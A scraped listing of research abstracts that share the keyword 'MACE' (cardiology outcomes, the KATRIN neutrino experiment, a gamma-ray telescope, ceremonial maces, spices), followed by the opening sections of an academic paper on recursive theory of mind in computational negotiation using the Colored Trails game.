group BMI 25.0-29.9kg/m(2) (OR: 7.93; 95% CI: 1.75-35.89; p=0.0091), whereas group BMI 30.0-34.9kg/m(2) was significant associated with a lower risk in comparison to group BMI 25.0-29.9kg/m(2) (OR: 0.65; 95% CI: 0.21-1.96; p=0.044). An association between HDL-c (p=0.55) or LDL-c (p=0.10) and MACE could not be detected. The study demonstrates that patients with STEMI and a BMI of 30.0-34.9kg/m(2) have a decreased risk for MACE compared to patients with normal BMI. No gender related differences were indicated. An association between MACE and lipoproteins could not be detected. Copyright © 2016 Elsevier Inc. All rights reserved. 20. Aspirin effect on the incidence of major adverse cardiovascular events in patients with diabetes mellitus: a systematic review and meta-analysis Directory of Open Access Journals (Sweden) Ghali William A 2011-04-01 Full Text Available Abstract Background Aspirin has been recommended for the prevention of major adverse cardiovascular events (MACE, composite of non-fatal myocardial infarction, non-fatal stroke, and cardiovascular death in diabetic patients without previous cardiovascular disease. However, recent meta-analyses have prompted re-evaluation of this practice. The study objective was to evaluate the relative and absolute benefits and harms of aspirin for the prevention of incident MACE in patients with diabetes. Methods We performed a systematic review and meta-analysis on seven studies (N = 11,618 reporting on the use of aspirin for the primary prevention of MACE in patients with diabetes. Two reviewers conducted a systematic search of electronic databases (MEDLINE, EMBASE, the Cochrane Library, and BIOSIS and hand searched bibliographies and clinical trial registries. Reviewers extracted data in duplicate, evaluated the quality of the trials, and calculated pooled estimates. Results A total of 11,618 participants were included in the analysis. The overall risk ratio (RR for MACE was 0.91 (95% confidence intervals, CI, 0.82-1.00 with little heterogeneity among trials (I2 0.0%. Secondary outcomes of interest included myocardial infarction (RR, 0.85; 95% CI, 0.66-1.10, stroke (RR, 0.84; 95% CI, 0.64-1.11, cardiovascular death (RR, 0.95; 95% CI, 0.71-1.27, and all-cause mortality (RR, 0.95; 95% CI, 0.85-1.06. There were higher rates of hemorrhagic and gastrointestinal events. In absolute terms, these relative risks indicate that for every 10,000 diabetic patients treated with aspirin, 109 MACE may be prevented at the expense of 19 major bleeding events (with the caveat that the relative risk for the latter is not statistically significant. Conclusions The studies reviewed suggest that aspirin reduces the risk of MACE in patients with diabetes without cardiovascular disease, while also causing a trend toward higher rates of bleeding and gastrointestinal complications 1. Tritium source-related systematic uncertainties of the KATRIN experiment Energy Technology Data Exchange (ETDEWEB) Seitz-Moskaliuk, Hendrik [Karlsruher Institut fuer Technologie, Institut fuer experimentelle Kernphysik, Hermann-von-Helmholtz-Platz 1, 76344 Eggenstein-Leopoldshafen (Germany); Collaboration: KATRIN-Collaboration 2016-07-01 KATRIN will perform a direct, kinematics-based measurement of the neutrino mass with a sensitivity of 200 meV (90 % C. L.) reached after 3 years of measurement time. The neutrino mass is obtained by determining the shape of the spectrum of tritium β decay electrons close to the endpoint of 18.6 keV with a spectrometer of MAC-E filter type. To achieve the planned sensitivity, the systematic measurement uncertainties have to be carefully controlled and evaluated. Main sources of systematics are the MAC-E filter on the one hand and the source and transport section (STS) on the other hand. Most of the operational parameters of KATRIN have to be stable at or even below the per mille level and have to meet further strict requirements. This talk reviews the KATRIN systematics with a special focus on the STS. Early commissioning measurements to determine the main systematics are introduced. 2. Body mass index and risk of perioperative cardiovascular adverse events and mortality in 34,744 Danish patients undergoing hip or knee replacement DEFF Research Database (Denmark) Thornqvist, Catharina; Gislason, Gunnar H; Køber, Lars 2014-01-01 underwent elective primary hip or knee replacement surgery between 2005 and 2011. We used multivariable Cox regression models to calculate the 30-day risks of MACE and mortality associated with 5 BMI groups (underweight (BMI ...BACKGROUND AND PURPOSE: Obesity is a risk factor for osteoarthritis in the lower limb, yet the cardiovascular risks associated with obesity in hip or knee replacement surgery are unknown. We examined associations between body mass index (BMI) and the risk of a major adverse cardiovascular event...... (MACE: ischemic stroke, acute myocardial infarction, or cardiovascular death) or the risk of all-cause mortality in a nationwide Danish cohort of patients who underwent primary hip or knee replacement surgery. METHODS: Using Danish nationwide registries, we identified 34,744 patients aged ≥ 20 years who... 3. Very high energy gamma ray astronomy from Hanle International Nuclear Information System (INIS) Chitnis, Varsha R. 2015-01-01 Over a past decade very high energy (VHE) gamma ray astronomy has emerged as a major astronomical discipline. In India, we have a long tradition of experiments in this field. Few years ago, multi-institutional Himalayan Gamma Ray Observatory (HiGRO) collaboration was formed to set up VHE gamma rays experiments at Hanle, a high altitude location in Himalayas. HAGAR, the first phase of this collaboration is operational since 2008. HAGAR has successfully detected VHE gamma ray emission from some of the extragalactic objects like Mrk 421, Mrk 501 as well as galactic sources including Crab nebula/pulsar. Details of HAGAR telescope system and results obtained will be discussed. HiGRO is now gearing up for the next phase, i.e. 21 m diameter MACE telescope, which is being installed at Hanle at present. Details of MACE telescope system and future plans will be discussed. (author) 4. β-Blocker-Associated Risks in Patients With Uncomplicated Hypertension Undergoing Noncardiac Surgery DEFF Research Database (Denmark) Jørgensen, Mads E; Hlatky, Mark A; Køber, Lars Valeur 2015-01-01 IMPORTANCE: Perioperative β-blocker strategies are important to reduce risks of adverse events. Effectiveness and safety may differ according to patients' baseline risk. OBJECTIVE: To determine the risk of major adverse cardiovascular events (MACEs) associated with long-term β-blocker therapy...... antihypertensive drugs (β-blockers, thiazides, calcium antagonists, or renin-angiotensin system [RAS] inhibitors) undergoing noncardiac surgery between 2005 and 2011. INTERVENTIONS: Various antihypertensive treatment regimens, chosen as part of usual care. MAIN OUTCOMES AND MEASURES: Thirty-day risk of MACEs...... (cardiovascular death, nonfatal ischemic stroke, nonfatal myocardial infarction) and all-cause mortality, assessed using multivariable logistic regression models and adjusted numbers needed to harm (NNH). RESULTS: The baseline characteristics of the 14,644 patients who received β-blockers (65% female, mean [SD... 5. Beta-blocker subtype and risks of perioperative adverse events following non-cardiac surgery DEFF Research Database (Denmark) Jørgensen, Mads E.; Sanders, Robert D.; Køber, Lars 2017-01-01 Aims Beta-blockers vary in pharmacodynamics and pharmacokinetic properties. It is unknown whether specific types are associated with increased perioperative risks. We evaluated perioperative risks associated with beta-blocker subtypes, overall and in patient subgroups. Methods and results We...... performed a Danish Nationwide cohort study, 2005-2011, of patients treated chronically with beta blocker (atenolol, bisoprolol, carvedilol, metoprolol, propranolol, or other) prior to non-cardiac surgery. Risks of 30-day all-cause mortality (ACM) and 30-day major adverse cardiovascular events (MACE) were...... in analyses stratified by age, surgery priority, duration of anaesthesia or surgery risk (all P for interaction >0.05). Conclusion Risks of ACM and MACE did not systematically differ by beta-blocker subtype. Findings may guide clinical practice and future trials.... 6. Postsystolic Shortening by Speckle Tracking Echocardiography Is an Independent Predictor of Cardiovascular Events and Mortality in the General Population DEFF Research Database (Denmark) Brainin, Philip; Biering-Sørensen, Sofie Reumert; Møgelvang, Rasmus 2018-01-01 ). The secondary end point was all-cause death. The postsystolic index (PSI) was defined as follows: [(maximum strain in cardiac cycle-peak systolic strain)/(maximum strain in cardiac cycle)]×100. PSS was regarded as present if PSI >20%. During a median follow-up of 11 years, 149 participants (12%) were diagnosed...... as having MACEs and 236 participants (18%) died. Increasing number of walls with PSS predicted both end points, an association that persisted after adjustment for age, sex, estimated glomerular filtration rate, global longitudinal strain, hypertension, heart rate, left ventricular ejection fraction, LV mass...... index, pro-B-type natriuretic peptide, previous ischemic heart disease, systolic blood pressure, average peak early diastolic longitudinal mitral annular velocity (e'), ratio between peak transmitral early and late diastolic inflow velocity (E/A), and left atrial volume index: MACEs (hazard ratio, 1... 7. Relation of Serum Adiponectin Levels to Number of Traditional Atherosclerotic Risk Factors and All-Cause Mortality and Major Adverse Cardiovascular Events (from the Copenhagen City Heart Study) DEFF Research Database (Denmark) Lindberg, Soren; Mogelvang, Rasmus; Pedersen, Sune H 2013-01-01 adiponectin has been associated with increased mortality and an increasing number of major adverse CV events (MACE). Because of these conflicting results, the true role of adiponectin remains to be elucidated. In the Copenhagen City Heart Study, we prospectively followed up 5,624 randomly selected men...... and women from the community without CV disease. Plasma adiponectin was measured at the beginning of the study. The median follow-up time was 7.8 years (interquartile range 7.3 to 8.3). The end point was all-cause mortality (n = 801), and the combined end point was MACE, consisting of CV mortality...... or nonfatal myocardial infarction or ischemic stroke (n = 502). High adiponectin was inversely associated with an increasing number of traditional CV risk factors (p... 8. Francisco de Valderrama, verdadero autor de las mazas del Ayuntamiento de Sevilla Directory of Open Access Journals (Sweden) Santos Márquez, Antonio Joaquín 2009-06-01 Full Text Available In this article the author reveals the true creator of the maces of Seville Town Hall, Francisco de Valderrama, a rediscovered silversmith about whom new biographical data is offered. Also included is a detailed study of these civic maces (traditionally attributed erroneously to Francisco de Alfaro, key works of Sevillian Mannerism. En este artículo se da a conocer el verdadero autor de las mazas del ayuntamiento de Sevilla, Francisco de Valderrama, orfebre redescubierto del que además aportamos nuevos datos biográficos. Asimismo, hacemos un estudio pormenorizado de estas mazas capitulares, obra clave de la plástica manierista sevillana y que tradicionalmente había sido atribuida erróneamente a Francisco de Alfaro. 9. Postsystolic Shortening by Speckle Tracking Echocardiography Is an Independent Predictor of Cardiovascular Events and Mortality in the General Population DEFF Research Database (Denmark) Brainin, Philip; Biering-Sørensen, Sofie Reumert; Møgelvang, Rasmus 2018-01-01 BACKGROUND: Postsystolic shortening (PSS) has been proposed as a novel marker of contractile dysfunction in the myocardium. Our objective was to assess the prognostic potential of PSS on cardiovascular events and death in the general population. METHODS AND RESULTS: The study design consisted...... of a prospective cohort study of 1296 low-risk participants from the general population, who were examined by speckle tracking echocardiography. The primary end point was the composite of heart failure, myocardial infarction, and cardiovascular death, defined as major adverse cardiovascular events (MACEs...... as having MACEs and 236 participants (18%) died. Increasing number of walls with PSS predicted both end points, an association that persisted after adjustment for age, sex, estimated glomerular filtration rate, global longitudinal strain, hypertension, heart rate, left ventricular ejection fraction, LV mass... 10. Noncardiac Surgery in Patients With Aortic Stenosis DEFF Research Database (Denmark) 2014-01-01 (MACE) and all-cause mortality were investigated in a contemporary Danish cohort. HYPOTHESIS: AS is not an independent risk factor for adverse outcomes in noncardiac surgery. METHODS: All patients with and without diagnosed AS who underwent noncardiac surgery in 2005 to 2011 were identified through......BACKGROUND: Past research has identified aortic stenosis (AS) as a major risk factor for adverse outcomes in noncardiac surgery; however, more contemporary studies have questioned the grave prognosis. To further our understanding of this, the risks of a 30-day major adverse cardiovascular event...... nationwide administrative registers. AS patients (n = 2823; mean age, 75.5 years, 53% female) were matched with patients without AS (n = 2823) on propensity score for AS and surgery type. RESULTS: In elective surgery, MACE (ie, nonfatal myocardial infarction, ischemic stroke, or cardiovascular death... 11. A pulsed, mono-energetic and angular-selective UV photo-electron source for the commissioning of the KATRIN experiment Energy Technology Data Exchange (ETDEWEB) Behrens, J. [Institut fuer Kernphysik, WWU Muenster, Muenster (Germany); Karlsruhe Institute of Technology, IEKP, Eggenstein-Leopoldshafen (Germany); Ranitzsch, P.C.O.; Hannen, V.; Ortjohann, H.W.; Rest, O.; Winzen, D.; Zacher, M.; Weinheimer, C. [Institut fuer Kernphysik, WWU Muenster, Muenster (Germany); Beck, M. [Institut fuer Kernphysik, WWU Muenster, Muenster (Germany); Johannes-Gutenberg Universitaet, Institut fuer Physik, Mainz (Germany); Beglarian, A. [Karlsruhe Institute of Technology, IPE, Eggenstein-Leopoldshafen (Germany); Erhard, M.; Groh, S.; Kraus, M. [IEKP, Karlsruhe Institute of Technology, Eggenstein-Leopoldshafen (Germany); Schloesser, K.; Thuemmler, T. [Karlsruhe Institute of Technology, IKP, Karlsruhe (Germany); Valerius, K. [Institut fuer Kernphysik, WWU Muenster, Muenster (Germany); Karlsruhe Institute of Technology, IKP, Karlsruhe (Germany); Wierman, K.; Wilkerson, J.F. [University of North Carolina, Department of Physics and Astronomy, Chapel Hill, NC (United States) 2017-06-15 The KATRIN experiment aims to determine the neutrino mass scale with a sensitivity of 200 meV/c{sup 2} (90% C.L.) by a precision measurement of the shape of the tritium β-spectrum in the endpoint region. The energy analysis of the decay electrons is achieved by a MAC-E filter spectrometer. To determine the transmission properties of the KATRIN main spectrometer, a mono-energetic and angular-selective electron source has been developed. In preparation for the second commissioning phase of the main spectrometer, a measurement phase was carried out at the KATRIN monitor spectrometer where the device was operated in a MAC-E filter setup for testing. The results of these measurements are compared with simulations using the particle-tracking software ''Kassiopeia'', which was developed in the KATRIN collaboration over recent years. (orig.) 12. Prognostic factors of male patients with acute coronary syndrome after percutaneous coronary intervention therapy International Nuclear Information System (INIS) Xu Peng; Zhang Gaofeng; Wu Xusheng; Qiao Qi; Yu Liqun 2005-01-01 Objective: To study the prognostic risk factors of male patients with coronary heart disease in stent placement era. Methods: One hundred and four patients were enrolled in this study (aged 64.9 ± 9.6 years) including 61 diagnosed as acute myocardial infarction, and 43 as unstable angina with followed up 11.9 ± 8.7 months. All factors including demographic factors, non-interventional work-up, associated clinical complications and results of coronary artery angiography reached a model of Logistic regression analysis. Results: Based on MACE (major adverse cardiac events), as quantitative factors, diseased proximal middle left anterior descending artery was a significant independent variable (P<0.05), and its coefficient was 22.00. Conclusions: Diseased proximal middle left anterior descending coronary artery is the prognostic factor of MACE in male patients with acute coronary syndrome. (authors) 13. ST peak during percutaneous coronary intervention serves as an early prognostic predictor in patients with ST-segment elevation myocardial DEFF Research Database (Denmark) Lønborg, Jacob; Kelbæk, Henning; Engstrøm, Thomas 2014-01-01 AIMS: To evaluate the clinical importance of the ST peak phenomenon during primary percutaneous coronary intervention (PCI) in patients with ST-segment elevation myocardial infarction (STEMI). METHODS AND RESULTS: Continuous ST monitoring was performed in 942 STEMI patients from arrival until 90...... minutes after revascularisation. ST peak was defined as ≥1 mm increase in the ST-segment during PCI compared with the ST elevation before intervention. ST peak was observed in 26.9% of patients. During median follow-up of 4.1 years, 20.7% of patients experienced a major adverse cardiac event (MACE). ST...... and ST peak including ST resolution and epicardial flow, ST peak remained significantly associated with MACE: adjusted hazard ratio (HR) 1.40 (95% confidence interval [CI] 1.01-1.95) and 1.41 (95% CI: 1.02-1.96). CONCLUSIONS: In the largest study hitherto evaluating the ST peak phenomenon during primary... 14. Effect of gamma-irradiation on the phenolic acids of some Indian spices International Nuclear Information System (INIS) Variyar, P.S.; Bandyopadhyay, C.; Thomas, P. 1998-01-01 Five commercially important spices, namely cinnamon, clove, cardamom, nutmeg and mace, were subjected to gamma-irradiation using a dose of 10 kGy, which is recommended for microbial decontamination. Various phenolic acids present in these spices were analysed by high-performance liquid chromatography (HPLC). In clove and nutmeg, quantitatively significant changes were noted in some of the phenolic acids upon irradiation. The content of gallic and syringic acids in irradiated clove increased by 2.2- and 4.4-fold respectively, whereas in irradiated nutmeg many of the phenolic acids showed wide increases and decreases in the range of two- to sixfold compared with the control samples. No qualitative and major quantitative changes were, however, observed in the phenolic acids of cinnamon, cardamom and mace upon irradiation. The possibility that gamma-radiation induced breakdown of tannins could be responsible for the changes in phenolic acids content of clove and nutmeg is discussed 15. Prognostic value of Angiographic Perfusion Score (APS) following percutaneous interventions in acute coronary syndromes. Science.gov (United States) Narain, V S; Fischer, L; Puri, A; Sethi, R; Dwivedi, S K 2013-01-01 Identifying reperfusion and predicting post procedure risk is important following Percutaneous Coronary Interventions (PCI). An Angiographic Perfusion Score (APS) combining TIMI flow (TFG) and myocardial perfusion (TMPG) grades before and after PCI can accurately measure both epicardial and myocardial perfusion and predict Major Adverse Cardiac Events (MACE). APS was calculated in 226 (88 ST elevation Myocardial Infarction (STEMI) and 138 Non STEMI) patients. Maximum score being 12, reperfusion was defined as failed: 0-3, partial: 4-9, and full APS: 10-12. Thirty day MACE were observed. APS identified reperfusion significantly more than TMPG alone (STEMI: 50.6% vs 11.8% (p APS group (1.8% vs 22.5%) (p APS detects more low risk reperfused patients, post PCI. Copyright © 2012. Published by Elsevier B.V. 16. Interaction of angiotensin-converting enzyme (ACE) with membrane-bound carboxypeptidase M (CPM) - a new function of ACE. Science.gov (United States) Sun, Xiaoou; Wiesner, Burkhard; Lorenz, Dorothea; Papsdorf, Gisela; Pankow, Kristin; Wang, Po; Dietrich, Nils; Siems, Wolf-Eberhard; Maul, Björn 2008-12-01 Angiotensin-converting enzyme (ACE) demonstrates, besides its typical dipeptidyl-carboxypeptidase activity, several unusual functions. Here, we demonstrate with molecular, biochemical, and cellular techniques that the somatic wild-type murine ACE (mACE), stably transfected in Chinese Hamster Ovary (CHO) or Madin-Darby Canine Kidney (MDCK) cells, interacts with endogenous membranal co-localized carboxypeptidase M (CPM). CPM belongs to the group of glycosylphosphatidylinositol (GPI)-anchored proteins. Here we report that ACE, completely independent of its known dipeptidase activities, has GPI-targeted properties. Our results indicate that the spatial proximity between mACE and the endogenous CPM enables an ACE-evoked release of CPM. These results are discussed with respect to the recently proposed GPI-ase activity and function of sperm-bound ACE. 17. Analysis of Effectiveness of Modern Information and Communication Technologies on Maize Marketing Efficiency in Lilongwe and Dedza Districts and Selected Markets of Malawi OpenAIRE Tione, Sarah Ephridah 2011-01-01 Government of Malawi has been promoting initiatives like Malawi Agriculture Commodity Exchange (MACE) that aim at reducing information asymmetry among market players especially smallholder farmers. Using co-integration error correction models, the study assessed effectiveness of modern ICT based market interventions on improving maize marketing efficiency in Malawi. Considering that efficient markets are integrated markets when price difference is only a factor of transaction costs, TAR model... 18. Priming involuntary autobiographical memories in the lab OpenAIRE Barzykowski, Krystian; Niedźwieńska, Agnieszka 2018-01-01 Involuntary autobiographical memories (IAMs) are recollections of personal past that frequently and spontaneously occur in daily life. Initial studies by Mace. Priming involuntary autobiographical memories. Showed that deliberately reminiscing about a certain lifetime period (e.g., high school) significantly increased the number of different IAMs from the same period in subsequent days, suggesting that priming may play a significant role in the retrieval of IAMs in everyday life. In the prese... 19. FROM ARCHITECTURE TO RELIGIOUS SERVICES: APPLYING “UNIVERSAL DESIGN” PRINCIPALS ON RELIGIOUS SERVICES OpenAIRE Gören, Ayşe Burcu 2016-01-01 Universal Design isa design concept of all products, environments and information systems whichaims to be accessed, understood and used by the broadest possible spectrum ofhuman ability regardless of their age, size, ability or disability. Universaldesign puts high value on both diversity and inclusiveness. The name father ofUniversal Design is Ronald Mace, who challenged the conventional approach ofdesigning for the average user and provided a design foundation for moreaccessible and usable ... 20. Prognostic value of serum resistin levels in patients with acute myocardial infarction. Science.gov (United States) Erer, Hatice Betul; Sayar, Nurten; Guvenc, Tolga Sinan; Aksaray, Sebahat; Yilmaz, Hale; Altay, Servet; Turer, Ayca; Oz, Tugba Kemaloglu; Karadeniz, Fatma Ozpamuk; Oz, Dilaver; Ekmekci, Ahmet; Zencirci, Aycan Esen; Eren, Mehmet 2014-01-01 Resistin is a novel adipokine that is suggested to be involved in inflammatory conditions and atherosclerosis. To investigate the prognostic importance of resistin in acute myocardial infarction (AMI) patients. Resistin levels were measured in a population of 132 patients with AMI, of whom 72 (54%) had a diagnosis of ST elevation myocardial infarction (STEMI), and 60 (46%) had non-ST elevation myocardial infarction (NSTEMI). Thirty-three consecutive subjects who were referred to elective coronary angiography due to chest pain evaluation with normal coronary angiograms served as controls. All patients were followed-up for the occurrence of major adverse cardiac events (MACE). There was a significant increase in serum resistin levels in patients with AMI compared to controls (3.71 ± 4.20 vs. 2.00 ± 1.05, p = 0.001, respectively). However, serum resistin levels were similar in patients with STEMI and NSTEMI. (4.26 ± 5.11 vs. 3.06 ± 2.64, p = 0.49, respectively). The patients with MACE had significantly higher levels of serum resistin levels compared to either the AMI or the control group (6.35 ± 5.47, p = 0.005, respectively). Logistic regression analysis revealed that resistin, left ventricular ejection fraction, and coronary artery bypass graft were independent predictors of MACE in AMI patients (OR = 1.11, 95% CI 1.01-1.22, p = 0.03 and OR = 3.84, 95% CI 1.26-11.71, p = 0.018, respectively). Serum resistin level was increased in patients with AMI and constituted a risk factor for MACE in this group.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3517470061779022, "perplexity": 27273.750578593223}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703527850.55/warc/CC-MAIN-20210121194330-20210121224330-00641.warc.gz"}
https://link.springer.com/article/10.1007%2Fs10458-015-9317-1	Autonomous Agents and Multi-Agent Systems , Volume 31, Issue 2, pp 250–287 # Negotiating with other minds: the role of recursive theory of mind in negotiation with incomplete information • Harmen de Weerd • Rineke Verbrugge • Bart Verheij Open Access Article ## Abstract Theory of mind refers to the ability to reason explicitly about unobservable mental content of others, such as beliefs, goals, and intentions. People often use this ability to understand the behavior of others as well as to predict future behavior. People even take this ability a step further, and use higher-order theory of mind by reasoning about the way others make use of theory of mind and in turn attribute mental states to different agents. One of the possible explanations for the emergence of the cognitively demanding ability of higher-order theory of mind suggests that it is needed to deal with mixed-motive situations. Such mixed-motive situations involve partially overlapping goals, so that both cooperation and competition play a role. In this paper, we consider a particular mixed-motive situation known as Colored Trails, in which computational agents negotiate using alternating offers with incomplete information about the preferences of their trading partner. In this setting, we determine to what extent higher-order theory of mind is beneficial to computational agents. Our results show limited effectiveness of first-order theory of mind, while second-order theory of mind turns out to benefit agents greatly by allowing them to reason about the way they can communicate their interests. Additionally, we let human participants negotiate with computational agents of different orders of theory of mind. These experiments show that people spontaneously make use of second-order theory of mind in negotiations when their trading partner is capable of second-order theory of mind as well. ## Keywords Theory of mind Cognitive hierarchy Opponent modeling Agent-based models Simulation Incomplete information Negotiation ## 1 Introduction In social settings, people often make predictions of the behavior of others by making use of their theory of mind [57]; they reason about unobservable mental content such as beliefs, desires, and intentions of others. Without this theory of mind, an individual is limited to reasoning only about behavior, such as in the sentence “Mary is looking in the drawer”. Such individuals are said to have a zero-order theory of mind. First-order theory of mind allows agents to reason about unobservable mental content of others as well, and understand sentence like “Mary is looking in the drawer because she believes that there is chocolate in the drawer”. People are also capable of taking this theory of mind ability a step further, and reason about way others are using theory of mind. Using second-order theory of mind, people understand sentences such as “Alice believes that Bob knows that Carol is throwing him a surprise party”, and reason about the way Alice is reasoning about Bob’s knowledge. Behavioral experiments have demonstrated the human ability to make use of higher-order (i.e. at least second-order) theory of mind, both through tasks that require explicit reasoning about second-order belief attributions [1, 3, 48, 56, 74], as well as through strategic games [18, 26, 34, 38, 47, 60, 77]. According to the social brain hypothesis [21], the emergence of this higher-order theory of mind ability can be explained by an increased complexity of social life. However, different hypotheses point to different aspects of social life that would favor the emergence of higher-order theory of mind. According to the Machiavellian intelligence hypothesis [7, 73], the emergence of social cognition, which includes theory of mind, can be explained through a competitive advantage. According to this theory, higher-order theory of mind allows an individual to deceive and manipulate others more effectively. Our earlier research using agent-based models has confirmed that there are indeed competitive settings in which individuals benefit from the use of higher-order theory of mind [13]. However other agent-based models have shown that theory of mind is not always needed to deceive others. Rather, seemingly deceptive behavior may be a result of associative learning [19, 39, 54] or factors such as stress [67] rather than reasoning about the minds of others. The Vygotskian intelligence hypothesis [49, 72] suggests that the emergence of theory of mind can be explained through social cooperation rather than competition. The Vygotskian intelligence hypothesis would explain both the human capacity for theory of mind and the capacity to engage in altruistic cooperative action [6, 29, 65]. Our results from agent-based simulations in a communication game show that higher-order theory of mind can indeed help to reach a cooperative solution more quickly [14]. However, computational models have shown that many forms of cooperation can also emerge through simple mechanisms, without need for a cognitively demanding ability such as theory of mind [12, 51, 66]. Finally, a third hypothesis that specifically concerns higher-order theory of mind states that higher orders of theory of mind may be needed for mixed-motive interactions [71]. Such mixed-motive interactions involve both cooperative and competitive elements,1 such as in negotiations [71]. Mixed-motive interactions can be understood as the task of sharing a pie [61]. Individuals cooperate to find ways to enlarge the pie they are sharing, while they also compete to obtain as large a share of the pie as possible for themselves. Theory of mind allows individuals to reason explicitly about the goals and beliefs of others. This ability may be crucial for an individual to balance cooperative and competitive goals in order to successfully negotiate a larger pie to share, which includes a larger piece of pie for the individual himself. In this paper, we investigate whether theory of mind allows agents to achieve better outcomes in mixed-motive interactions. Our earlier research into the effectiveness of higher-order theory of mind shows that in repeated one-shot interactions in the negotiation game Colored Trails, agents that made use of first-order and second-order theory of mind managed to negotiate a larger piece of pie for themselves than agents of a lower order of theory of mind, while no additional advantage for even higher orders of theory of mind was found [16]. In the current paper, we extend the agent model of [16] and investigate more realistic mixed-motive settings in which individuals engage in multiple rounds of negotiation. Using agent-based computational models, we simulate agents that alternate in making offers until an agreement is reached. We study mixed-motive situations through the influential Colored Trails setting, introduced by Grosz et al. [15, 28, 45, 70],2 which provides a useful test-bed to study how different aspects of mixed-motive settings change the interactions among agents. By comparing the performance of agents of different orders of theory of mind over a variety of different game boards, we then determine to what extent higher orders of theory of mind allow agents to make better offers. Next, we let human participants negotiate with these computational agents to show that participants indeed take advantage of the benefits of higher-order theory of mind reasoning, even when playing against computational agents. The remainder of this paper is structured as follows. In Sect. 2, we provide an overview of literature related to the current work. In Sect. 3, we describe our version of the Colored Trails game in detail. Section 4 describes how this game is played by agents, and how theory of mind shapes the decisions of agents. The details concerning these theory of mind agents are presented in the form of a complete formal model in Sect. 5. By simulating negotiations among computational agents, we determine to what extent higher orders of theory of mind provide agents with an advantage over trading partners without such abilities. The results of these simulation experiments, in which theory of mind agents of various orders of theory of mind negotiate among each other, are presented in Sect. 6. In Sect. 7, we add humans to the loop by letting human participants play against our computational theory of mind agents. In that section, we show that participants are capable of spontaneous use of second-order theory of mind when negotiating with a computational agent. Finally, Sect. 8 provides discussion and gives directions for future research. ## 2 Related work In the literature, there are several approaches to bounded rationality and recursive modeling of the behavior of others that are related to the theory of mind agents we present in this study in different ways (see also Table 1). In behavioral economics, recursive modeling of the behavior of others can be modeled through iterated best-response models such as level-n theory [2, 4, 10, 50, 64], cognitive hierarchies [8], quantal response equilibria [46], and noisy introspection models [33]. In these models, an agent’s level of sophistication is measured by the maximum number of steps of iterated reasoning the agent is capable of considering. Camerer et al. [8] find that over a range of non-repeated single-shot games such as the p-beauty contest and the traveler’s dilemma, participants typically use few reasoning steps. On average, participants use an estimated 1.5 steps of iterated reasoning, which suggests that participants limit themselves to first-order theory of mind reasoning. In a meta-analysis of these types of games, Wright and Leyton-Brown [75] find evidence of participant behavior that is consistent with higher-order theory of mind reasoning. However, few players were found to be well-described as higher-level agents. In the iterated reasoning models described above, a level-n agent assumes that all other agents are exactly one level of sophistication lower than himself, or that the distribution of lower level agents can be described with a fixed probability distribution. However, in repeated game settings, such assumptions can be detrimental to an agent [40]. The theory of mind agents we describe in the rest of this article are more similar to dynamic models of theory of mind, such as experience weighted attraction learning [9], recursive opponent modeling [30, 32], interactive POMDPs [31], and game theory of mind [76]. In these approaches, agents adjust their level of recursive reasoning in reaction to the behavior of others. An agent of level k can consider others as being agents of any level up to and including level $$k-1$$. Such an agent does not observe the level of sophistication of others directly, but forms beliefs concerning the level of sophistication of others based on observed behavior. These dynamic models of theory of mind reasoning show that over repeated trials, human participants can successfully increase their level of theory of mind reasoning. For example, Doshi et al. [20] use adjusted interactive POMDPs to model human behavior in repeated competitive single-shot games. They find that although humans generally reason at low levels of theory of mind, participants exhibit higher levels of reasoning in simpler settings. Yoshida et al. [76] evaluate the behavior of human participants in a sequential game variation on the cooperative Stag Hunt game. Using game theory of mind, they find evidence that participants make use of higher-order theory of mind reasoning. Our work focuses on mixed-motive settings that involve both cooperative and competitive elements, such as in negotiations. As a result, our work is related to research into automated agents in negotiation applications [23, 26, 41, 43, 44, 45, 53, 62]. In particular, several studies have previously investigated recursive reasoning in the Colored Trails setting under incomplete information about the preferences of other players. Table 1 Related research has focused mostly on single-shot interactions and on single games Paper Setting Player interaction Scenario variety Devaine et al. [18] Competitive Single-shot Single game Cooperative Single-shot Single game Ficici and Pfeffer [24] Mixed-motive Single-shot Randomized games Franke and Galleazzi [27] Randomized Single-shot Randomized games Peled et al. [53] Mixed-motive 3 rounds 2 games Mixed-motive Arbitrary length Single game Wright and Leyton-Brown [75] Competitive Single-shot Yoshida et al. [76] Cooperative 10–20 actions Single game In contrast, the current work involves a mixed-motive setting in which we consider arbitrary length player interaction across an extensive number of randomized games For example, Ficici and Pfeffer [24] present a model for recursive reasoning in repeated single-shot negotiations in Colored Trails and use this model to determine to what extent human participants reason about other players in the game. They find that human participants engage in theory of mind reasoning, but that more complex models yield diminishing returns. Peled et al. [53] construct an agent model for revelation games, in which players can decide to truthfully reveal their goals before engaging in two rounds of negotiation. Peled et al. fit their SIGAL agent model to participant data on two game boards and show that the SIGAL agent could outperform both human participants and equilibrium strategy models in negotiations with participants. In the current work, we investigate a more open-ended type of bargaining in which agents negotiate until either an agreement is reached or one of the agents withdraws from negotiation. This setting allows agents to observe more of the behavior of their trading partner, which may reduce the benefit of reasoning about the mental content of others. Indeed, Pynadath et al. [59] show this effect in a simple negotiation setting. Pynadath et al. model theory of mind reasoning in a simple type of open-ended bargaining in Sigma ($$\Sigma$$), an integrated computational model of intelligent behavior that is grounded in a cognitive architecture [42], and find that the ability to make use of theory of mind is only marginally beneficial. In this paper, we investigate a much more complex negotiation setting in which no agent encounters the exact same negotiation game twice. In this setting, we show that the use of higher-order theory of mind can still be beneficial. In addition, we take the role of learning into account for agents that are unable to use theory of mind reasoning. In previous work, the most basic agent typically assumes that the behavior of others is either fixed or can be modeled as noise. In contrast, our zero-order theory of mind agents make use of an associative learning technique 